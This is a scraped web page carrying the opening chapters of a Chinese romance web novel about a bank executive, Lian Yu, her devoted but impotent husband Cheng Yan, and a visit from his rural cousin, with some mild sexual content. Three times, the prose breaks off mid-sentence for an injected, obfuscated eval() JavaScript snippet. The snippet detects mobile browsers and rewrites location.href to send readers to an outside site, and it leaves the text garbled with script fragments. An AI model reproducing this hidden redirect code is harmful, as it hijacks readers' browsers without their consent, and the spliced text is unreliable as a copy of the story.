《白日烟花[gb]》 1. 晨曦 床头,手机闹钟猝然响起,溪流伴随着山涧鸟鸣欢快流淌,声音由小渐大。 睡梦中的人眉头微皱,一时间分不清这声音来自现实还是梦中。 眼还未睁开,手已经摸索着向声源处伸了过去,铃声骤停,卧室瞬间恢复寂静。 廉钰将手搭在额头上缓了好一阵才迫使自己清醒过来,缓缓睁开双眼,窗外绿荫拂动,入目一片清朗。 宽敞的房间空空荡荡,偌大的双人床此时也只有她自己。 瞥了眼身旁凌乱的被褥,听着客厅传来的窸窣声,廉钰翻身下床,拖着疲惫的身躯走进浴室开始洗漱,为新的一天即将到来的忙碌做准备。 等头发干的差不多了,她打着哈欠走出浴室,忽然被一阵食物的香气所吸引,顺着味道走到餐厅,刚好碰到程宴正端着两个餐盘从厨房走出来,盘子里盛着煎好的鸡蛋和培根,她不喜欢黑胡椒的味道,故而其中一份只洒了些欧芹。 放下盘子,程宴抬头冲她温柔一笑:“早。” 廉钰打量了几秒男人英俊的脸庞,顿时有点不好意思,犹豫几秒后还是拉开椅子坐下。 “你不用特意早起给我做饭,我去单位吃就行了。” “没有特意。”程宴坐到她对面,叉起一块肉放进嘴里,抬头冲她微微一笑:“我也做了自己那份。” 见廉钰握着叉子不动,程宴也跟着停止进食,温声询问道:“是不是我做的不合你胃口?” “哦,没有……你手艺很不错。”廉钰回过神,十分利落地将盘子里的食物吃了个干净。 “小钰,你喜欢吃什么可以跟我说,我去学。”程宴笑吟吟地伸手将她嘴角一点残渣抹去,语气宠溺,又带着几分无奈:“你我之间,不用这么客气。” 廉钰注视着他深邃的眼睛,有一瞬恍惚。 无需他刻意提醒,目之所及,墙上的婚纱照,橱窗里的对杯,亲朋好友送的情侣摆件,玩偶,这处位于市中心,近两百平,装修奢侈高档的婚房每一处细节无时无刻都在告诉她,她已经结婚了。 而程宴,是她从相知,到相识,再相恋,继而携手步入婚姻殿堂的丈夫。 在外人看来,程宴家境优渥,身份显赫,他英俊多金,细心温柔,无论在生活还是情感上,都能给予她最体贴的呵护,除了某些方面不尽人意,程宴几乎无可挑剔。 宽敞的更衣室,两人的衣物饰品各自占领一面墙,乍看之下,清一色的商务西装,唯一的不同在配饰区,一边是做工精细的皮带和名表,另一边则陈列着女用挎包和一些饰品。 廉钰刚进来不久,程宴也走了进来,二人背对着彼此开始挑选衣物配饰,空气安静的只能听到衣料摩擦发出的簌簌声。 一番挑选后,程宴取出一块表,合上柜门的瞬间,通过玻璃反射恰好看到廉钰身上浴袍滑落,曼妙窈窕的身体曲线加上通体雪白的肌肤属实令人移不开眼。 短暂欣赏后,他噙着笑低头,将表带扣在了自己手腕上。 丝袜,半裙,白色衬衫,修身西装,头发随手挽起,再加上简单几笔妆容,已将疲惫困顿一扫而空,镜中人干练又美丽,俨然一副顶级商务精英的模样。 “小钰,昨晚我跟你说的事,留意一下。”程宴系着领带漫不经心道。 “嗯,不过我今天要跟行长出去一趟,什么时候回来不确定,张会计如果打算来的话……”廉钰背对着他单手系上袖口扣子,思忖片刻,抬头从柜上摸下一张名片转身递给了程宴,“让他提前给我打电话预约个时间。” “好,我会转交他。”程宴笑着接过名片,俯身轻吻了下廉钰的额头。 - 从家到单位车程只要半小时,廉钰总喜欢提前到,一是因为从小被家里熏陶凡事往前赶好应对突发状况的理念,二是因为她作为单位的二把手,必须在一把手到来之前安排好今天的所有会议和工作,她的脑子一刻不得闲,哪怕等红灯的功夫都要从副驾上拿起文件翻上几页。 只有工作才能让她暂时忘记自己已婚的身份,即使这个身份目前并未给她的生活带来太大变动。 几分钟后她到达目的地,车门打开,眼前森严派气的建筑正是早上她递给程宴那张名片上的地址: 澜城市海宁区万川路139号澜城银行。 她并不是来的最早的,除了已经就位的保安保洁,隔着玻璃她看到昨晚值班的同事此刻正哈欠连天整理着柜台,无意间抬头看见她进门,立马精神抖擞地冲她打招呼:“廉姐,早啊!” 说完指了指餐厅方向:“今天早餐有海鲜粥,你去吃点吗?” 廉钰摆摆手:“不用了,我吃过了。” 说完直接走进办公室,替行长准备一会儿会议需要用到的资料。 早上八点,嘈杂的会议室随着行长进门瞬间鸦雀无声,主座上年约四十来岁的女人一身黑色工装,棕红色卷发披在肩头,再浓的妆都遮不住红润饱满的脸庞,那是气血充足,精力旺盛的象征。 喝一口茶,环视一圈安静的众人,赵绮兰调整了下面前的麦克风,按照文件顺序正式开始晨会,一开始讲到上级指令,国家政策还算平和,后边谈到支行季度业绩,脸色越来越黑,声音也越来越尖锐,恨不得把在场几十号人全骂一遍。 廉钰坐在她身边,打量着就算挨骂也一声不吭的同事,心中油然而生一股怜悯。 支行上季度总业绩确实不怎样,据说在全国上百个分行里排倒数,赵绮兰去总行开会,被总行长当着几百人的面点名要求整改,回来后情绪爆发,一连砸碎了几个花盆还不过瘾,把当天上班的,能骂哭的全骂哭了。 当然,哭完还要继续工作,银行工资高,福利好,这么体面的工作在小城市不是很容易就能进的。 显而易见,行长今天心情也不怎么好,故而所有人战战兢兢,如履薄冰,生怕从阴着脸的女上司嘴里听到自己的名字。 廉钰忽然注意到坐在角落的一个陌生面孔,是个二十出头的年轻女孩,穿着跟他们一样的工装,带着工牌,正一脸好奇地盯着发飙的行长看,无意对上她凌厉的视线,立即不好意思地低下了头。 上周好像说是要调来一个新柜员,想必就是她了。 这单纯没心眼的样子属实令人感到担忧。 行长对着麦克风口水飞溅正骂的痛快,忽然,廉钰放在桌上的手机猝不及防响起,清脆的铃声令众人皆是身躯一震,尤其是年轻的新同事,就算再怎么不懂人情世故,也知道在这种场合手机没关静音是不对的,尤其领导还处于暴怒状态。 人,大概都是喜欢看别人出糗的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509395|170546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故而她偷笑了下,等着看廉钰被骂的狗血淋头。 廉钰看了眼来电显示,程宴。 “我出去接个电话。” 说完,淡定地起身走出了会议室。 而被打断发言的行长也只是停顿几秒,又厉声开始了下一轮问责,仿佛刚刚的小插曲从未发生。 直到散会廉钰都没再回来,随着行长气势汹汹地出门,其余同事也垂头丧气地收拾起文件准备回到自己工位,她们用力拍了拍自己的脸,祈祷一会儿面对客户时笑容自然而不僵硬。 在每年的数百万毕业生中,能被直接聘入银行这种单位的少之又少,故而蒋晓露觉得自己十分幸运,跟其他人一样,她十分珍惜这份来之不易的工作,上柜时小心仔细,生怕犯一点错误,对行长更是唯命是从毕恭毕敬,不敢忤逆分毫。 而尽早晨会廉钰嚣张离去的身影却在她脑海中久久挥之不去,导致她整个上午都心不在焉。 临近午饭点,她正给客户办着业务,忽然又看到了廉钰。 她正跟行长一道出门,两个人步履匆忙,神情严肃地交谈着,似是要去见一位很重要的客户。 一把手二把手都不在,众人顿时松了口气,接连走向食堂。 中午伙食最丰富,荤素搭配,五菜一汤,主食管饱。 蒋晓露没什么胃口,用筷子有一下没一下戳着米饭,神情恍惚,直到另一个身影在她身边坐下,开始大快朵颐,她才回过神来。 “师父……晨会的时候,出去接电话的那个女的是谁啊?”蒋晓露想了想又补充了句:“好像挺少在大堂露面的。” 孟新宇只顾着吃饭,头也没抬:“廉钰,业务部总经理。” “噢……”蒋晓露皱眉道:“也不是多大的官嘛,怎么感觉行长都怕她似的,竟然就那么打着电话出去了……” 孟新宇腾出一只手推了推眼镜,语气蓦地认真:“不是怕她,是敬她,除了行长,在这上班的每个人都敬她,就连你也要尊敬她,明白吗?” 蒋晓露不解:“为什么?” 孟新宇俨然一副玩笑口吻,道:“没有她的话,恐怕行里大部分员工都只能拿底薪了。” 蒋晓露顿时瞪大了眼睛:“为什么?” “咱们万川路支行总共存款三十二亿。”孟新宇叹道:“她自己拉了十八亿。” “我靠!这么牛逼!”蒋晓露下意识惊叫出声,引得其他同事纷纷侧目,吓得孟新宇连忙丢下筷子去捂她的嘴。 蒋晓露按耐不住激动的心情,压低声音问道:“她是怎么做到的?” “顶好的人脉和资源呗。”孟新宇喝了口汤,继续道:“她姥姥是澜城工行第一任行长,她妈曾经在澜城银行总行就任副行长,她爸是澜城第一医院副院长,心血管科教授,国级医疗专家,她老公更了不得,锦煜集团现任执行董事……” 蒋晓露听着听着沉默了,良久后才叹了句:“有钱真好。” “她能有现在的地位,钱倒是次要的。”孟新宇苦笑道:“女人在银行这种单位本来就难混出头,廉家三代银行女,还都升到行长位置,光传到廉钰这代的心眼子就够咱们学一辈子的。” 毋庸置疑,在不久的将来,廉钰也会成为一名受人尊敬的行长。 这就是她的命。 2. 远亲 廉钰也觉得自己的人生足够幸运。 从小到大,人生顺风顺水,父母有力的托举和兜底让她不必担心任何问题,高中成绩倒数,却莫名被国际知名大学经济管理系录取,并顺利毕业。归国即入职,入职即高管,在同事为业绩愁眉不展之际,她已经凭借家里关系完成了别人一辈子都完不成的存款任务。 客户喜欢对她笑,同事们喜欢对她笑,向来喜欢板着脸训人的更年期行长也对她笑,命好到这个份上,她不该有一丝一毫的抱怨。 今天中午陪行长跟市局里几个干部应酬,成功拿下某城建项目工程款预存,赵绮兰笑的合不拢嘴,喝了不少酒,这种场合廉钰早已见怪不怪,她的作用就是在赵绮兰神志不清时成为她最后的底线,说一些好听的场面话把那些行政夹克哄高兴了,然后联系司机送她回家。 再回到行里是傍晚六点,卷闸门已经落下,只能刷门禁从后门进去,大厅灯亮着,透过玻璃窗能看到几个同事正对着电脑加班,廉钰没有惊扰他们,默默回到办公室开始整理合同。 等明天他们得知这个好消息一定会很开心,这是属于全行的利益,季末的奖金是每个人都有份的。 想到赵绮兰被灌酒的刺眼场面,廉钰苦闷地揉了揉额头。 全行上上下下几十张嘴指着业绩吃饭,赵绮兰作为行长肩上的担子不是一般的重,这也是为什么大家对她逆来顺受的原因。 她廉钰受了委屈可以立马带着客户资源跑路,而行长是要跟大家伙共存亡的。 弄完合同将近八点,廉钰给赵绮兰打了个电话,是无人接听的状态。 人是她亲自送到家交给保姆的,安全问题没得说,此刻或许还在睡着。 中午那场应酬的客户比较重要,故而她也陪着喝了不少酒,从单位到家要过好几个大路口,她并不想冒险,盯着桌上的手机短暂犹豫了片刻,最终还是选择了打车。 以往加班到十点多是常态,今天反而是回家早的,程宴听到动静从书房出来,看到她十分惊喜:“小钰,今天怎么回来的这么早?” “中午陪着赵姐跟城建局那伙领导吃了顿饭,一直到下午三点才散场,然后我把赵姐送回家,跟着跑城建局拿材料,盖章,又回行里加了会儿班……”说着说着,声音越来越小,廉钰脱下工装外套随手丢到沙发上,紧接着自己也倒了上去,整个人瞬间陷进一团软绵里,再也没有力气动上一动。 “真是辛苦了呢,廉经理。”程宴走到她身边,贴心地为她按摩起肩颈,几下后动作蓦地停顿,他凑近闻了闻廉钰,皱眉道:“喝酒了?” “嗯。” “你不会是开车回来的吧?” “……打车回来的。” 程宴沉默良久,也没再继续给她按摩,戴着名贵手表的那只手颇有分量,就安静伏在廉钰背上一动不动。 “为什么不给我打电话,我可以去接你。” 廉钰闷声道:“我想……也许你也在忙呢。” 随即,她听到程宴轻轻叹了声:“下次一定给我打电话,好吗?” “好。” 程宴脸上重新浮现笑容,声调也愉悦了几分:“我猜你还没吃晚饭,我去给你做点吃的吧?你想吃什么?炒菜?还是牛排?” 廉钰此刻疲惫大于饥饿,只想好好睡一觉,但又不忍破坏他的兴致,于是微笑道:“不用那么复杂,给我煮碗面吧。” 喷香冒着热气的牛肉面,程宴也给自己做了一碗。 就像寻常夫妻那样,二人相对坐在餐桌前,边吃边聊天,比起夫妻,廉钰觉得程宴更像她亲密无间的好朋友,在她遇到困难时会鼓励她,在她遭遇挫折时会安慰她,在她心情低落时会哄她开心,反观于她,似乎无论作为一个妻子还是朋友,都不是那么称职。 她从小到大过得都是十指不沾阳春水的大小姐生活,结婚至今更是没给程宴做过一顿饭,银行工作繁忙,加班更是常态,这也导致她也没空做家务,换下来的衣服往往都是随手仍在地板上,程宴看到了会主动拿去洗。 哪怕日子过成这样,他依旧对她毫无怨言,百依百顺。 “小钰?”程宴抬头,看到她几乎没动几口的面,关心道:“怎么不吃,有心事?” 廉钰叹了口气:“我只是觉得你太辛苦了,白天工作,回来还要做家务,洗衣服,做饭……”稍作停顿,抬头看向他道:“不如,我们请个保姆怎么样?” “怎么会这样想……”程宴笑的眉眼弯起,“我一点也不觉得自己辛苦,且不说你爸救过我爸的命,你利用职务便利帮了我那么多,为你付出这点算什么?只要你开心就好。” 话听着舒心,却颇有几分生疏。 本该是非常劳累的一天,按照以往习惯她肯定是洗漱完倒头就睡的,然而今夜窗外月色正好,程宴正背对着她躺在身侧,宽阔光滑的背脊线条令人赏心悦目。 廉钰眸色一黯,伸手覆上去的瞬间,明显感到程宴身体一僵。 指尖顺着小腹一路下滑,直至终点。 停顿片刻,廉钰不动声色地将手抽出,眼底尽是无奈。 “对不起,小钰……”程宴缓缓转过身,脸色涨红。 廉钰冷眼看着他,沉默不语。 新婚之夜,他说他是过度紧张,她并未在意。 婚后二人相敬如宾,即使同床共枕,他也再未对自己做过什么出格之举。 后来她几次主动,都得不到他的任何回应,今晚也是一样。 夫妻生活对她来说可有可无,并不是刚需,但廉钰觉得就跟工作一样,每个岗位都有自己的职责,任务,既然他们已经结了婚,有些事是有必要发生的。 既然工作系统的某个环节出了故障,那么首要任务应该是修好它,而不是发火或者生闷气。 “要不,去医院看看吧。”廉钰叹道。 程宴沉默不语,忽地转身将她压到身下,滚烫的嘴唇随之下移。 廉钰闷哼一声,用力抓起他的头发,迫使他停下动作抬头与她对视。 如此角度下的程宴更加俊美,肩颈肌肉线条分明,一双桃花眼顾盼流转,摄人心魄。 “怎么了,小钰,你不是很想要吗?”程宴声线嘶哑,道:“我可以用另一种方式,满足你。” 廉钰喉咙微动,缓缓闭上眼,认命地松开了手。 - 次日清晨,一切如常。 当廉钰洗漱完,程宴也做好了早餐,并笑着跟她打招呼。 想到昨夜另类荒唐,廉钰几乎无法直视他那张坦然自在的脸,匆忙吃了几口就要出门上班。 “你昨天喝酒了,车没开回来。”程宴从椅子上拿起西装外套,行至门口自然地搂上了她的肩膀,“走,我送你去单位。” 霸道黑色卡宴瞩目惹眼,偏偏程宴还特意停在大门正前边,导致廉钰刚一进门,就听到来自相熟同事的一片嘘声。 “又幸福了廉姐!老公亲自送来!” “程总又帅了!” “到底朝哪个方向拜能找到这样的老公?” 廉钰干笑了两声,看了眼办公室方向:“行长来了没有?” “来了,在办公室。” “好,收拾收拾,准备开会吧。” 不轻不重连叩三下,听到一声请进,廉钰抱着文件推门而入。 赵绮兰埋头处理着报表,头也没抬:“昨天谢谢你把我送到家啊小钰,我今天早上才看到你给我打的电话。” “我猜也是,您昨天喝了不少,就算今天不来也没关系。”廉钰把文件放到桌上,微笑道:“但既然来了,规定的晨间例会就照常开吧,相信他们也很想听到与自身季度奖金有关的,好消息。” “昨天多亏了你,不然,还真不一定能谈下来,那帮老油条,哼……”赵绮兰翻了几页文件,往椅背上一靠,凝视着她笑,“等你坐上我这个位置,咱行指定能变得更好,他们可都等着,盼着那一天呢。” “凭我的资历当行长远远不够,要跟您学习的东西还有很多呢。”廉钰微笑道。 赵绮兰喝了口润嗓茶,意味深长地看了她一眼,拿起文件起身朝会议室走去,廉钰紧随其后。 昨日拿下工程款的事属实令行里兴奋了一阵,中午有人主动请大家喝咖啡,众人的工作热情肉眼可见的高涨,其乐融融的气氛一直持续到下班。 换下工装,时间又是自己的了,思绪一旦脱离了工作,那将无可避免地想到家庭。 想到昨晚事后的尴尬场面,廉钰禁不住一番深呼吸。 她觉得有些对不住程宴,毕竟除了那方面有问题外,他几乎是无可挑剔的丈夫,如他所说,就算不做,他也可以用其它方式满足她。 他的确做到了。 即使那并不是她的刚需。 今天下班早,廉钰开车回到家中时,程宴竟还没回来。 这种时候房子大的弊端就显露了出来。 太空旷了。 廉钰在沙发上坐了一会儿,遂起身在家中各个角落搜集起脏衣服,一股脑丢进洗衣机里,等机器开始运行,她忽地想起忘了放洗衣液,手忙脚乱操作一通,已然耐心全无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“之前一直住在南方乡下的表弟不久前忽然联系我,说要来这边找工作……”程宴稍作停顿,道:“问我能不能帮他租个房子,或者,我给他找个酒店暂住一下……” 这种事按说没必要告诉她,她又没管着他的钱。 可程宴还是主动告诉她了。 并且,这是他第一次告诉她,关于他南方亲戚的事。 程宴早逝的母亲就是南方人,年轻时来这边打工结识了程宴的富豪父亲,后边的剧本太过俗套,乡下妹被始乱终弃,挺着大肚子返回家乡,富豪也因一场意外无法再育,无意得知自己在南方乡下有个亲生儿子,赶忙接到身边加倍补偿,悉心培养。 这段往事对年轻的董事长来说无疑是黑历史,这些年没人敢当着他面提起,就连廉钰也从未过问,生怕触及到他内心的伤心之地。 这样一来,那位表弟大概率就是程宴母亲那边的亲戚了。 合情,合理。 廉钰笑了笑,好奇道:“好啊……那个表弟,是什么样的人,怎么之前从没听你说过?” 程宴倚着栏杆远眺,神情蓦地忧伤:“我小时候的事你应该也知道些,我并不是一出生就过上现在这种好日子的……我小时候在乡下待过几年,那时候只有舅舅家的表弟陪着我,我们一起上山,一起下河摸鱼,我不会游泳差点淹死,他还救过我……后来我被接走了,我们就再也没联系过。” 廉钰眯起眼打量着程宴忧郁的侧脸,直觉这个表弟对他来说意义非凡,而他对表弟的感情似乎也不是一般深厚。 毕竟这么多年过去了,一想到这个表弟可能寄托着他对亡母的思念,对故乡的怀恋—— 合情,合理。 “既然如此,你就好好招待他吧。”廉钰想了想又道:“应该也没有需要我帮忙的地方。” 程宴含笑看向她,忽然问道:“小钰,你什么时候休息?” 廉钰短暂思考后,道:“这周五。” 也就是后天。 程宴犹豫道:“有安排吗?” “没什么安排,想着回我家一趟,好久没回去了。”廉钰转而道:“有事吗?” “也没什么事……就是我想,请他来家里做客。”程宴轻声询问道:“初来乍到的小辈,总要见见嫂子才是。” 廉钰稍加思索,点头微微一笑:“好,正好我也想见见他。” 3. 表弟 次日才忙碌了半天,廉钰就将这事抛到脑后了。 跟政府合作马虎不了一点,一份合同从下往上传,统共要过无数人的手,签无数个名,盖无数个章,赵绮兰晨会又发了脾气,指责职员消极怠工,廉钰作为二把手收到底下传来的求救信号,自觉地担起了责任,每个环节都格外尽心。 中午好不容易能休息几分钟,接连不断的陌生电话令她心烦意乱,索性直接静了音。 浅寐结束,办公室静悄悄的,揉了揉枕的发酸的胳膊,看了眼墙上的挂钟,一分不差,刚好赶上上班点。 廉钰打起精神继续开始工作。 新拟的合同刚检查到第二遍,办公室的门忽然被敲响,在听到她说请进后,才怯怯地走了进来。 是新来的同事蒋晓露。 “廉姐……经理……外边来了个人自称是什么会计,说跟你有预约,非得插队办事,现在正在大堂闹呢。” 廉钰放下合同起身:“我去看看。” 银行大厅里已经聚集了不少前来办业务的客户,每个窗口都忙个不停,年过半百穿着老头衬衫的秃顶男人正翘着二郎腿坐在贵宾区沙发上喝茶,顺便趾高气昂地跟眼前的大堂经理训话:“我说我有预约,你非不信,还管我要上凭证了……我就算没预约,你们也得先给我办,你不知道我们董事长跟她什么关系吗?人家是两口子,懂吗?我来替她老公办事,呵呵……还敢让我排队。” “张会计。”廉钰走到他面前,从容地打了声招呼。 张会计见她来了也不起身,先是眯起眼从头到脚打量了她一番,接着不屑地嗤了声,这才缓缓站起来:“廉经理,你们行也太不像话了,我来替程总办业务,还让我出示凭证?” “他们也是按照规定办事。”廉钰淡定道:“就算程宴亲自过来,也得有预约凭证。” 张会计被驳了面子,脸色发青:“什么凭证?我怎么从没听说过,程总之前给了我一张名片让我联系你,我中午给你打电话却打不通,这难道怪我吗?” 廉钰忽然想起之前程宴确实是给她打过招呼的,按说她只要跟底下人交代一声就好,可是她忘了。 此刻她只想尽快平息事端,免得行长突然回来发火,便转头问张会计:“程宴要办什么业务?” “怎么?现在能插队给我办了吗?行里不是有规矩吗?不是很严格吗?”张会计不依不饶,阴阳怪气道:“廉经理大公无私,可不能搞特殊哟,要不我还是去取号排队吧?” “好啊,既然张会计都这么说了。”廉钰微微一笑,示意蒋晓露把人领走,“那就带他去取号吧,按流程来。” 说罢转身回了办公室。 张会计气的脸色涨红,盯着她离开的背影近乎咬牙切齿:“妈的……要不是我们锦煜在你这存了六个亿,你能有今天?牛什么呀!” 廉钰蓦地驻足,气极反笑,转身折返他面前,神情再无尊重:“张会计,你是集团元老,让锦煜把那六亿从我这撤走应该没问题吧?跟程宴说一声,明天来办的话,现在就当是在预约了。” 见张会计沉默,廉钰再次笑道:“虽然不知道你对我的态度是谁授意,但我必须告诉你,我能有今天并非是因为仰仗锦煜。” 相反,是锦煜仰仗她。 没想到廉钰去而复返,还如此正大光明地与他对峙,张会计当即僵在原地,眼中几乎要喷出火来。 廉钰气定神闲地等着他的回应,全行最有眼力劲的主管孟新宇忽然靠了过来,不由分说往张会计手里塞了张叫号条:“都消消气啊都消消气!刚刚有个老太太排了好久,马上叫到她了她身体不舒服走了,这号给你吧张会计,三号窗口,还有俩人就到你了,快去吧……” 孟新宇顺势一推,张会计竟真默默转身乖乖往等候区去了。 廉钰冷笑一声,这才离开。 临下班,她接到了程宴的电话。 “小钰,今天的事张会计跟我说了……”那头稍作迟疑,语气诚恳道:“我已经批评了他,现在想跟你道个歉,对不起,给你添麻烦了。” 廉钰单手整理着乱糟糟的工作台,轻笑道:“所以,明天来办转存吗?” 那头沉默许久,传来一声叹息:“怎样才能让你不生气呢……下班我带你去购物吧,你好久没买新的衣服首饰了,或者,化妆品,护肤品?” “不需要。”等桌面恢复整洁,廉钰靠在办公桌边语气总算缓和:“而且,我也没生气。” 在银行工作了这么些年,她什么品种的奇葩客户没见过,能干到现在早已心如止水,区区一个张会计还不足以影响她的情绪。 “真的吗,那就好。”程宴明显松了口气,道:“明天小通要来,咱们中午就在家里吃吧,我来下厨。” 廉钰一拍脑袋,差点把这事忘了。 “好。” 程宴办事向来周到,头天晚上已经列好了菜谱并把需要用到的食材都准备好了,第二天更是一早就在厨房客厅忙活走动,对表弟的来访可谓是相当重视。 廉钰难得休息,等她一觉睡到自然醒已经快十点了,挠着头发走到客厅,先打了个哈欠:“小通什么时候来?” 程宴回头冲她笑了下:“刚刚发短信说在车上了,大概十一点半能过来吧。” 时间充裕,她就不慌不忙地去洗澡了。 婆家小辈第一次上门做客,廉钰觉得自己怎么也该有个嫂子样,扫一眼衣柜里大部分都是黑白灰的干练工装,光看着气势就能压死人,翻捡了好一阵才拿出一身藕粉色针织衫套裙,头发用抓夹固定,徒留几缕零零碎碎地挂在耳边,精致的珍珠锁骨链一戴,廉钰盯着镜中知性温柔的人妻看得入神。 当她来到客厅,正好程宴端着盘子从厨房走出来,见到她当即怔在原地,目光肉眼可见地炽热。 廉钰被看的有点不好意思,拢了下头发道:“这身还可以吧……看来,还是得添置两身日常穿的。” “美极了。”程宴柔声夸赞。 二人僵持须臾,门铃声猝不及防响起。 “是小通来了。”程宴慌忙放下盘子走向门口。 在见到真人之前,廉钰对邱小通了解甚少。 他不是总行领导,也不是什么重要客户,仅仅是一顿饭的交集,根本不配得到她太多关注。 她也不屑去问程宴,乡下来的穷亲戚没权没势,程宴总有办法打发掉,不会任其在她面前碍眼。 他知道,她最讨厌蠢人。 防盗门缓缓打开,站在门外的少年身形瘦小,穿着再简单不过的白体恤和灰色运动裤,衬得那张偏幼态的脸愈发白皙清秀,此刻站在门外,迎上她审视的目光,忽然变得慌张,拘谨,一双漂亮的眼睛下意识移开避免与她对视,脸颊微微泛红。 他背着一个黑色双肩包,左手拎着用透明塑料袋装着的水果,右手拎着礼盒装的阿胶糕,大红大紫的俗气包装跟眼前高级奢华的客厅十分违和。 邱小通轻咬了下嘴唇,下意识将东西往后藏。 “别傻站着了,快进来吧小通!”程宴乐呵呵地笑着将他拉了进来,“见见你嫂子。” 邱小通这才鼓起勇气抬头看廉钰,即使穿着家居鞋,似乎也要比他高上一点,程宴口中的她是个不折不扣的工作狂,金融精英,银行高管,平日里不苟言笑,总是皱眉沉思,故而他一路战战兢兢,生怕自己哪里做错了惹她发火。 那样光鲜亮丽,位高权重的女人,发起火来一定很可怕吧。 他实在无法将眼前明媚到发光的女人跟幻想中严厉的嫂子联系到一起。 此刻廉钰温柔地看着他笑,和蔼宠溺的眼神近乎令他沦陷。 于是他鼓起勇气,低声喊她:“嫂子。” “嗯。”廉钰笑意更深,“不用拘束,把这当自己家就好。” 程宴接过他手里的东西,不动声色堆到了墙边,继而起身看了眼时间,兴奋道:“小通你来的正好,先坐会儿喝口水,我炖了排骨,马上就好。” 邱小通看了眼已经坐在沙发上看电视的廉钰,殷勤道:“我不渴,哥,我给你打下手吧。” 程宴眯起眼笑道:“行啊,来吧。” 二人一前一后走进厨房,顺带关上了门。 电视上正播放着一档无趣的综艺,请来的嘉宾廉钰都不认识,一群人浓妆艳抹,小丑似地哗众取宠,廉钰忽然感到一阵强烈不适,突如其来的厌恶令她想要呕吐。 关掉电视,她不耐烦地看了眼厨房方向。 饭还没好吗。 屏幕熄灭的瞬间,厨房门总算开了,在里边熏的太久,俩人的脸都有点红。 廉钰顿时感到一阵愧疚,按说在厨房里忙活的该是她才对,她打扮的这么贤惠,却出于本能翘着二郎腿坐在这看电视,等着有人来跟她汇报工作,或者叫她吃饭。 邱小通明显没刚进门时那么拘束了,迎上廉钰的眼神也不再闪躲,反而还敢冲她笑。 “多吃点。”廉钰看了眼他纤细的手腕,笑道:“你太瘦了,小通。” “我饭量挺大的,嫂子。”邱小通咽下口饭,不好意思道:“可能是体质问题吧,就是胖不起来……” 廉钰故作感慨:“噢,这体质可真让人羡慕。” 吃完饭,邱小通主动起身帮忙收拾,程宴也帮着他把碗筷摞一起,廉钰照样坐着没动,沉默几秒后才道:“我来吧……” 俩人一顿,不约而同齐齐看向她。 廉钰深吸一口气,起身将衣袖捋到了手肘准备干活。 “小钰你还是别下手了,我跟小通来就行了。”程宴出声制止了她。 “是啊,嫂子你别管了。”邱小通干劲十足,直接端起一摞碗走向厨房:“我来收拾就好。” 廉钰无奈一笑,对程宴道:“这孩子真懂事,一点也不像乡下来的。” 程宴笑中带着几分心疼:“出社会早是这样的。” 几秒钟后,邱小通清脆的声音从厨房出来:“哥,你们这个水龙头怎么用的啊,哪边是凉水啊……” 程宴只好过去帮忙。 等收拾干净餐桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509397|170546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,洗好了碗,邱小通又自觉地抄起扫帚开始扫地,如此勤快就连廉钰都看不下去了,连忙招呼他:“小通,别忙活了,过来坐会儿。” 邱小通闻言将扫帚归位,走到沙发前乖巧地坐下。 茶几上摆着一套高科技茶具,他不会用,只能看着程宴操作,泡开的茶叶很漂亮,味道很香,他不知道那是什么品种,直到廉钰将白瓷杯递给他,他连忙受宠若惊地接过,浅尝了一口,那股清香,毕生难忘。 “小通,听说你打算在这边找工作?”廉钰有意无意与他交谈。 “嗯,是……” 廉钰遂问他:“想找什么类型的工作,有方向吗?” 邱小通脸红了下,他实在没什么一技之长,甚至不会用电脑作出一个最简单的表格。 但他还是决定如实相告,因为廉钰给他的印象很好,他觉得她一定不会看不起他。 “我想当……舞蹈老师。” 廉钰手中茶盏一顿,不动声色道:“你会跳舞?” 邱小通老实道:“也不算会……之前在网上自学的,都是一些很简单的动作,糊弄糊弄小孩子应该没问题的……” 廉钰觉得现在让他跳上一段似乎有点不尊重人,虽然她挺想看的。 “想法不错,现在的家长都很注重培养小孩的特长。”廉钰给他续了杯茶,轻声道:“可惜我不怎么跟舞蹈机构打交道,帮不上忙。” 邱小通连忙道:“没事的嫂子,我自己慢慢找就行了……” 廉钰喝了口茶,又问道:“住的地方找好了吗?” 邱小通神情为难:“还没……本来打算先找到工作,然后在附近租房子,来了才知道,工作也没那么好找……” 廉钰附和地点头:“是啊,现在想找个差不多的工作很难。” 电视早就被调了台,灯光下的偶像歌手正捧着麦克风忘情嘶吼,分不清是真唱假唱,反正比刚刚的综艺顺眼多了。 廉钰正想着再找点什么话题,手机忽然响起,电话是行长打来的,她几乎没有犹豫便按下接听,同时起身往阳台走去。 还是上次对公账户合同的事,那边不知道是存心刁难还是想要毁约,近日频繁找茬,惹得赵绮兰心烦意乱找她倒苦水。 “你别管了,改天我请他们副局吃个饭。”廉钰顿了顿道:“病例还在我爸那存着,总不能不给我面子。” 